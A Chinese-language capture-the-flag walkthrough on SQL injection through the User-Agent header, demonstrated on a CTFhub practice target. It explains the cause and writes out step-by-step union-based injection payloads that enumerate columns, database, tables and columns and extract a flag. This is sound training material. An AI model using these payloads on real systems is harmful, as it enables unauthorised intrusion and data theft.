UA是什么?

UA全程User-Agent,直译意思为”用户代理”,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。

如下为Firefox的UA,Mozila是Firefox母公司名
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
如下为从Chrome上抓取到的UA:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36

漏洞产生原因

后台在接收UA时没有对UA做过滤,直接把接收到的浏览器UA信息写入了SQL语句之中,导致了sql注入的产生

流程

可以使用sqli-labs练习UA注入,也可以在其他靶场环境练习,这里使用CTFhub上的UA注入环境演示,因为该环境能实时看到SQL语句的执行情况
image.png
image.png

抓包得到UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0

修改UA

User-Agent: 1
使用浏览器上的Hackbar或者Burp抓包修改UA,Hackbar需要勾选User Agent,然后在下方的框中输入恶意代码
image.png
Burp抓包修改UA就简单多了,直接抓包然后鼠标右键选择发送到Repeater,在Repeater中直接修改UA即可。
image.png

类型判断

在1后面添加一个单引号【’】加入发送,结果页面显示不完整,不再显示id,所以id参数类型为整型而非字符型。
image.png

列(字段)数判断

输入:User-Agent: 1 order by 1
image.png
输入:User-Agent: 1 order by 2 页面正常
输入:User-Agent: 1 order by 3 页面显示不正常,不显示id,说明列数为2

image.png
当前使用的数据库名

联合注入爆出数据库名,得到数据库为sqli
输入:User-Agent: -1 union select 1,database()
image.png

数据库sqli中的表

输入:User-Agent: -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=’sqli’

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
image.png

表中的字段/列

输入:User-Agent:-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’xxxxxx’
image.png

具体数据

输入:User-Agent: -1 union select 1,xxxxxxx from xxxxxx
得到具体flag
image.png